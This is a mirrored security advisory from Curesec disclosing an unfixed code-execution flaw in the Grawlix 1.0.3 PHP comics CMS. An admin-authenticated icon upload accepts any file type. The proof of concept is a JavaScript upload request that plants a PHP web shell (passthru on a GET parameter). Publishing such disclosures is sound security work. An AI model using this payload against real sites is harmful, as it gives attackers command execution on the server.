Lucene search
K

Grawlix 1.0.3 Code Execution

🗓️ 23 Dec 2015 00:00:00Reported by Tim CoenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Grawlix 1.0.3 Code Execution vulnerability in CMS for comics publishin

Code
`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: Grawlix 1.0.3  
Fixed in: not fixed  
Fixed Version Link: n/a  
Vendor Website: http://www.getgrawlix.com/  
Vulnerability Type: Code Execution  
Remote Exploitable: Yes  
Reported to vendor: 11/17/2015  
Disclosed to public: 12/21/2015  
Release mode: Full Disclosure  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
CVSS  
  
High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C  
  
Description  
  
Grawlix is a CMS for publishing comics, which is written in PHP.  
  
When uploading an image icon for a link, neither the file type nor the file  
extension are checked, leading to code execution.  
  
It should be noted that admin credentials are required to upload an icon, and  
that because of a bug when uploading icons, the upload only works if Grawlix is  
installed in the root directory.  
  
3. Proof of Concept  
  
  
<html>  
<body>  
<script>  
function submitRequest()  
{  
var xhr = new XMLHttpRequest();  
xhr.open("POST", "http://localhost/_admin/site.link-list.php", true);  
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");  
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");  
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------172718417319970434061213874184");  
xhr.withCredentials = true;  
var body = "-----------------------------172718417319970434061213874184\r\n" +  
"Content-Disposition: form-data; name=\"input[title]\"\r\n" +  
"\r\n" +  
"Site name\r\n" +  
"-----------------------------172718417319970434061213874184\r\n" +  
"Content-Disposition: form-data; name=\"input[url]\"\r\n" +  
"\r\n" +  
"http://google.com\r\n" +  
"-----------------------------172718417319970434061213874184\r\n" +  
"Content-Disposition: form-data; name=\"icon_file\"; filename=\"test.php\"\r\n" +  
"Content-Type: application/x-php\r\n" +  
"\r\n" +  
"\x3c?php \n" +  
"passthru($_GET[\'x\']);\n" +  
"\r\n" +  
"-----------------------------172718417319970434061213874184\r\n" +  
"Content-Disposition: form-data; name=\"submit\"\r\n" +  
"\r\n" +  
"save\r\n" +  
"-----------------------------172718417319970434061213874184--\r\n";  
var aBody = new Uint8Array(body.length);  
for (var i = 0; i < aBody.length; i++)  
aBody[i] = body.charCodeAt(i);  
xhr.send(new Blob([aBody]));  
}  
</script>  
<form action="#">  
<input type="button" value="Submit request" onclick="submitRequest();" />  
</form>  
</body>  
</html>  
  
4. Solution  
  
This issue was not fixed by the vendor.  
  
5. Report Timeline  
  
11/17/2015 Informed Vendor about Issue (no reply)  
12/10/2015 Reminded Vendor of Disclosure Date (no reply)  
12/21/2015 Disclosed to public  
  
  
Blog Reference:  
https://blog.curesec.com/article/blog/Grawlix-103-Code-Execution-127.html  
  
--  
blog: https://blog.curesec.com  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Romain-Rolland-Str 14-24  
13089 Berlin, Germany  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation